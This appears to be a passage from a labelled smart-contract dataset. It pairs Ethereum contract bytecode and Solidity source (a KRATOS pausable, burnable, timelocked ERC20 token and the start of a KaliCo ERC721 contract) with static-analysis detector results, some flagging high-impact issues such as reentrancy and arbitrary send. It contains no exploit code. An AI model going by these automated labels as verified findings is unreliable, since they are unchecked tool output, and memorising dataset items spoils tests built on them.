8110156126745760098190555b5050505b6000546001600160a01b038481169116148015906126a457506000546001600160a01b03838116911614155b80156126c957506001600160a01b03831660009081526010602052604090205460ff16155b80156126e35750601c546001600160a01b03848116911614155b80156126f857506001600160a01b0382163014155b1561273d57601d5481111561273d576040805162461bcd60e51b815260206004820152600660248201526509a82b040a8b60d31b604482015290519081900360640190fd5b505050565b6001600160a01b0382166000908152600f602052604081205460ff168061278157506001600160a01b0382166000908152600f602052604090205460ff165b1561278e57506000610c33565b601c546001600160a01b03848116911614806127b75750601c546001600160a01b038381169116145b156127c457506000610c33565b50600192915050565b601c5460009081906001600160a01b038581169116146127ef576017546127f3565b6018545b9050600061280c60646128068685612880565b906128d9565b306000908152600d60205260409020549091506128299082611e3f565b306000818152600d6020908152604091829020939093558051848152905191926001600160a01b038a16926000805160206129e38339815191529281900390910190a36128768482611dfd565b9695505050505050565b60008261288f57506000610c33565b8282028284828161289c57fe5b0414610d095760405162461bcd60e51b81526004018080602001828103825260218152602001806129c26021913960400191505060405180910390fd5b6000610d0983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836129655760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611a72578181015183820152602001611a5a565b50600083858161297157fe5b049594505050505056fe4c697175696469747920616c726561647920616464656420616e64206d61726b65642e45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f756e74536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122040eb3a57bff84fc3ce3bd474e50d81ae052a83cf6c287f2b4e5ec4929c4db22664736f6c63430007040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 8,043 |
0x6560a9b6436e129cf835ab9da96201207facd4f8
|
pragma solidity ^0.4.24;
// openzeppelin-solidity: 1.12.0-rc.2
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
/**
* @title Standard Burnable Token
* @dev Adds burnFrom method to ERC20 implementations
*/
contract StandardBurnableToken is BurnableToken, StandardToken {
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
contract KratosToken is StandardBurnableToken, PausableToken {
string constant public name = "KRATOS";
string constant public symbol = "TOS";
uint8 constant public decimals = 18;
uint256 public timelockTimestamp = 0;
mapping(address => uint256) public timelock;
constructor(uint256 _totalSupply) public {
// constructor
totalSupply_ = _totalSupply;
balances[msg.sender] = _totalSupply;
}
event TimeLocked(address indexed _beneficary, uint256 _timestamp);
event TimeUnlocked(address indexed _beneficary);
/**
* @dev Modifier to make a function callable only when the contract is not timelocked or timelock expired.
*/
modifier whenNotTimelocked(address _beneficary) {
require(timelock[_beneficary] <= block.timestamp);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is timelocked and not expired.
*/
modifier whenTimelocked(address _beneficary) {
require(timelock[_beneficary] > block.timestamp);
_;
}
function enableTimelock(uint256 _timelockTimestamp) onlyOwner public {
require(timelockTimestamp == 0 || _timelockTimestamp > block.timestamp);
timelockTimestamp = _timelockTimestamp;
}
function disableTimelock() onlyOwner public {
timelockTimestamp = 0;
}
/**
* @dev called by the owner to timelock token belonging to beneficary
*/
function addTimelock(address _beneficary, uint256 _timestamp) public onlyOwner {
_addTimelock(_beneficary, _timestamp);
}
function _addTimelock(address _beneficary, uint256 _timestamp) internal whenNotTimelocked(_beneficary) {
require(_timestamp > block.timestamp);
timelock[_beneficary] = _timestamp;
emit TimeLocked(_beneficary, _timestamp);
}
/**
* @dev called by the owner to timeunlock token belonging to beneficary
*/
function removeTimelock(address _beneficary) onlyOwner whenTimelocked(_beneficary) public {
timelock[_beneficary] = 0;
emit TimeUnlocked(_beneficary);
}
function transfer(address _to, uint256 _value) public whenNotTimelocked(msg.sender) returns (bool) {
if (timelockTimestamp > block.timestamp)
_addTimelock(_to, timelockTimestamp);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotTimelocked(_from) returns (bool) {
if (timelockTimestamp > block.timestamp)
_addTimelock(_to, timelockTimestamp);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotTimelocked(_spender) returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotTimelocked(_spender) returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotTimelocked(_spender) returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
|
0x6080604052600436106101485763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461014d578063095ea7b3146101d757806318160ddd1461020f57806318d0c4541461023657806323b872dd1461024b578063262f8c0e14610275578063313ce5671461029b5780633f4ba83a146102c657806342966c68146102db5780635c975abb146102f357806366188463146103085780636b143bb81461032c57806370a082311461034d578063715018a61461036e57806379cc6790146103835780637d921af0146103a75780638456cb59146103bc5780638da5cb5b146103d157806395d89b4114610402578063a9059cbb14610417578063ac49dd5c1461043b578063cf23616e1461045c578063d73dd62314610474578063dd62ed3e14610498578063f2fde38b146104bf575b600080fd5b34801561015957600080fd5b506101626104e0565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561019c578181015183820152602001610184565b50505050905090810190601f1680156101c95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e357600080fd5b506101fb600160a060020a0360043516602435610517565b604080519115158252519081900360200190f35b34801561021b57600080fd5b50610224610550565b60408051918252519081900360200190f35b34801561024257600080fd5b50610224610556565b34801561025757600080fd5b506101fb600160a060020a036004358116906024351660443561055c565b34801561028157600080fd5b50610299600160a060020a03600435166024356105ad565b005b3480156102a757600080fd5b506102b06105d2565b6040805160ff9092168252519081900360200190f35b3480156102d257600080fd5b506102996105d7565b3480156102e757600080fd5b5061029960043561064f565b3480156102ff57600080fd5b506101fb61065c565b34801561031457600080fd5b506101fb600160a060020a036004351660243561066c565b34801561033857600080fd5b50610224600160a060020a036004351661069d565b34801561035957600080fd5b50610224600160a060020a03600435166106af565b34801561037a57600080fd5b506102996106ca565b34801561038f57600080fd5b50610299600160a060020a0360043516602435610738565b3480156103b357600080fd5b506102996107ca565b3480156103c857600080fd5b506102996107e8565b3480156103dd57600080fd5b506103e6610865565b60408051600160a060020a039092168252519081900360200190f35b34801561040e57600080fd5b50610162610874565b34801561042357600080fd5b506101fb600160a060020a03600435166024356108ab565b34801561044757600080fd5b50610299600160a060020a03600435166108ea565b34801561046857600080fd5b5061029960043561096c565b34801561048057600080fd5b506101fb600160a060020a03600435166024356109a1565b3480156104a457600080fd5b50610224600160a060020a03600435811690602435166109d2565b3480156104cb57600080fd5b50610299600160a060020a03600435166109fd565b60408051808201909152600681527f4b5241544f530000000000000000000000000000000000000000000000000000602082015281565b600160a060020a038216600090815260056020526040812054839042101561053e57600080fd5b6105488484610a1d565b949350505050565b60015490565b60045481565b600160a060020a038316600090815260056020526040812054849042101561058357600080fd5b4260045411156105995761059984600454610a48565b6105a4858585610ad0565b95945050505050565b600354600160a060020a031633146105c457600080fd5b6105ce8282610a48565b5050565b601281565b600354600160a060020a031633146105ee57600080fd5b60035460a060020a900460ff16151561060657600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b6106593382610af5565b50565b60035460a060020a900460ff1681565b600160a060020a038216600090815260056020526040812054839042101561069357600080fd5b6105488484610bf6565b60056020526000908152604090205481565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031633146106e157600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600160a060020a038216600090815260026020908152604080832033845290915290205481111561076857600080fd5b600160a060020a038216600090815260026020908152604080832033845290915290205461079c908263ffffffff610c1a16565b600160a060020a03831660009081526002602090815260408083203384529091529020556105ce8282610af5565b600354600160a060020a031633146107e157600080fd5b6000600455565b600354600160a060020a031633146107ff57600080fd5b60035460a060020a900460ff161561081657600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b60408051808201909152600381527f544f530000000000000000000000000000000000000000000000000000000000602082015281565b336000818152600560205260408120549091904210156108ca57600080fd5b4260045411156108e0576108e084600454610a48565b6105488484610c2c565b600354600160a060020a0316331461090157600080fd5b600160a060020a0381166000908152600560205260409020548190421061092757600080fd5b600160a060020a038216600081815260056020526040808220829055517fb34baa9e1ce392292123bbdca3018904b21991f7411e14d99a10aaf88ec8ea0d9190a25050565b600354600160a060020a0316331461098357600080fd5b600454158061099157504281115b151561099c57600080fd5b600455565b600160a060020a03821660009081526005602052604081205483904210156109c857600080fd5b6105488484610c50565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610a1457600080fd5b61065981610c74565b60035460009060a060020a900460ff1615610a3757600080fd5b610a418383610cf2565b9392505050565b600160a060020a0382166000908152600560205260409020548290421015610a6f57600080fd5b428211610a7b57600080fd5b600160a060020a038316600081815260056020908152604091829020859055815185815291517f1ed88d34a03df7970d85c096f601d5a1bb7e3c38ef9523bc5970d57b10627a539281900390910190a2505050565b60035460009060a060020a900460ff1615610aea57600080fd5b610548848484610d58565b600160a060020a038216600090815260208190526040902054811115610b1a57600080fd5b600160a060020a038216600090815260208190526040902054610b43908263ffffffff610c1a16565b600160a060020a038316600090815260208190526040902055600154610b6f908263ffffffff610c1a16565b600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b60035460009060a060020a900460ff1615610c1057600080fd5b610a418383610ecd565b600082821115610c2657fe5b50900390565b60035460009060a060020a900460ff1615610c4657600080fd5b610a418383610fbc565b60035460009060a060020a900460ff1615610c6a57600080fd5b610a41838361109b565b600160a060020a0381161515610c8957600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b600160a060020a038316600090815260208190526040812054821115610d7d57600080fd5b600160a060020a0384166000908152600260209081526040808320338452909152902054821115610dad57600080fd5b600160a060020a0383161515610dc257600080fd5b600160a060020a038416600090815260208190526040902054610deb908363ffffffff610c1a16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610e20908363ffffffff61113416565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610e62908363ffffffff610c1a16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b336000908152600260209081526040808320600160a060020a0386168452909152812054808310610f2157336000908152600260209081526040808320600160a060020a0388168452909152812055610f56565b610f31818463ffffffff610c1a16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b33600090815260208190526040812054821115610fd857600080fd5b600160a060020a0383161515610fed57600080fd5b3360009081526020819052604090205461100d908363ffffffff610c1a16565b3360009081526020819052604080822092909255600160a060020a0385168152205461103f908363ffffffff61113416565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a03861684529091528120546110cf908363ffffffff61113416565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b8181018281101561114157fe5b929150505600a165627a7a723058209aa2090aff37951954371a8fb1398d2808a4791781694e5fdc38e29a822ce2710029
|
{"success": true, "error": null, "results": {}}
| 8,044 |
0x2017d429ad722e1cf8df9f1a2504d4711cdedc49
|
/**
*Submitted for verification at Etherscan.io on 2022-02-14
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.4;
/// @notice A generic interface for a contract which properly accepts ERC721 tokens.
/// @author Modified from Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
/// License-Identifier: AGPL-3.0-only
interface ERC721TokenReceiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/// @notice Modern and gas efficient ERC-721 + ERC-20/EIP-2612-like implementation.
abstract contract ERC721 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed spender, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/*///////////////////////////////////////////////////////////////
ERRORS
//////////////////////////////////////////////////////////////*/
error NotApproved();
error NotOwner();
error InvalidRecipient();
error SignatureExpired();
error InvalidSignature();
error AlreadyMinted();
error NotMinted();
/*///////////////////////////////////////////////////////////////
METADATA STORAGE/LOGIC
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
function tokenURI(uint256 tokenId) public view virtual returns (string memory);
/*///////////////////////////////////////////////////////////////
ERC-721 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(uint256 => address) public ownerOf;
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
/*///////////////////////////////////////////////////////////////
EIP-2612-LIKE STORAGE
//////////////////////////////////////////////////////////////*/
bytes32 public constant PERMIT_TYPEHASH =
keccak256('Permit(address spender,uint256 tokenId,uint256 nonce,uint256 deadline)');
bytes32 public constant PERMIT_ALL_TYPEHASH =
keccak256('Permit(address owner,address spender,uint256 nonce,uint256 deadline)');
uint256 internal immutable INITIAL_CHAIN_ID;
bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;
mapping(uint256 => uint256) public nonces;
mapping(address => uint256) public noncesForAll;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(string memory name_, string memory symbol_) {
name = name_;
symbol = symbol_;
INITIAL_CHAIN_ID = block.chainid;
INITIAL_DOMAIN_SEPARATOR = _computeDomainSeparator();
}
/*///////////////////////////////////////////////////////////////
ERC-721 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 tokenId) public virtual {
address owner = ownerOf[tokenId];
if (msg.sender != owner && !isApprovedForAll[owner][msg.sender]) revert NotApproved();
getApproved[tokenId] = spender;
emit Approval(owner, spender, tokenId);
}
function setApprovalForAll(address operator, bool approved) public virtual {
isApprovedForAll[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
function transfer(address to, uint256 tokenId) public virtual returns (bool) {
if (msg.sender != ownerOf[tokenId]) revert NotOwner();
if (to == address(0)) revert InvalidRecipient();
// underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow
unchecked {
balanceOf[msg.sender]--;
balanceOf[to]++;
}
delete getApproved[tokenId];
ownerOf[tokenId] = to;
emit Transfer(msg.sender, to, tokenId);
return true;
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual {
if (from != ownerOf[tokenId]) revert NotOwner();
if (to == address(0)) revert InvalidRecipient();
if (msg.sender != from
&& msg.sender != getApproved[tokenId]
&& !isApprovedForAll[from][msg.sender]
) revert NotApproved();
// underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow
unchecked {
balanceOf[from]--;
balanceOf[to]++;
}
delete getApproved[tokenId];
ownerOf[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual {
transferFrom(from, to, tokenId);
if (to.code.length != 0
&& ERC721TokenReceiver(to).onERC721Received(msg.sender, from, tokenId, '')
!= ERC721TokenReceiver.onERC721Received.selector
) revert InvalidRecipient();
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public virtual {
transferFrom(from, to, tokenId);
if (to.code.length != 0
&& ERC721TokenReceiver(to).onERC721Received(msg.sender, from, tokenId, data)
!= ERC721TokenReceiver.onERC721Received.selector
) revert InvalidRecipient();
}
/*///////////////////////////////////////////////////////////////
ERC-165 LOGIC
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId) public pure virtual returns (bool) {
return
interfaceId == 0x01ffc9a7 || // ERC-165 Interface ID for ERC-165
interfaceId == 0x80ac58cd || // ERC-165 Interface ID for ERC-721
interfaceId == 0x5b5e139f; // ERC-165 Interface ID for ERC721Metadata
}
/*///////////////////////////////////////////////////////////////
EIP-2612-LIKE LOGIC
//////////////////////////////////////////////////////////////*/
function permit(
address spender,
uint256 tokenId,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
if (block.timestamp > deadline) revert SignatureExpired();
address owner = ownerOf[tokenId];
// cannot realistically overflow on human timescales
unchecked {
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR(),
keccak256(abi.encode(PERMIT_TYPEHASH, spender, tokenId, nonces[tokenId]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
if (recoveredAddress == address(0)) revert InvalidSignature();
if (recoveredAddress != owner && !isApprovedForAll[owner][recoveredAddress]) revert InvalidSignature();
}
getApproved[tokenId] = spender;
emit Approval(owner, spender, tokenId);
}
function permitAll(
address owner,
address operator,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
if (block.timestamp > deadline) revert SignatureExpired();
// cannot realistically overflow on human timescales
unchecked {
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR(),
keccak256(abi.encode(PERMIT_ALL_TYPEHASH, owner, operator, noncesForAll[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
if (recoveredAddress == address(0)) revert InvalidSignature();
if (recoveredAddress != owner && !isApprovedForAll[owner][recoveredAddress]) revert InvalidSignature();
}
isApprovedForAll[owner][operator] = true;
emit ApprovalForAll(owner, operator, true);
}
function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : _computeDomainSeparator();
}
function _computeDomainSeparator() internal view virtual returns (bytes32) {
return
keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
block.chainid,
address(this)
)
);
}
/*///////////////////////////////////////////////////////////////
MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 tokenId) internal virtual {
if (to == address(0)) revert InvalidRecipient();
if (ownerOf[tokenId] != address(0)) revert AlreadyMinted();
// cannot realistically overflow on human timescales
unchecked {
totalSupply++;
balanceOf[to]++;
}
ownerOf[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ownerOf[tokenId];
if (ownerOf[tokenId] == address(0)) revert NotMinted();
// ownership check ensures no underflow
unchecked {
totalSupply--;
balanceOf[owner]--;
}
delete ownerOf[tokenId];
delete getApproved[tokenId];
emit Transfer(owner, address(0), tokenId);
}
}
/// @notice Helper utility that enables calling multiple local methods in a single call.
/// @author Modified from Uniswap (https://github.com/Uniswap/v3-periphery/blob/main/contracts/base/Multicall.sol)
abstract contract Multicall {
function multicall(bytes[] calldata data) public virtual returns (bytes[] memory results) {
results = new bytes[](data.length);
// cannot realistically overflow on human timescales
unchecked {
for (uint256 i = 0; i < data.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(data[i]);
if (!success) {
if (result.length < 68) revert();
assembly {
result := add(result, 0x04)
}
revert(abi.decode(result, (string)));
}
results[i] = result;
}
}
}
}
/// @notice KaliCo Ricardian LLC NFT minter.
contract KaliCoRicardianLLC is ERC721, Multicall {
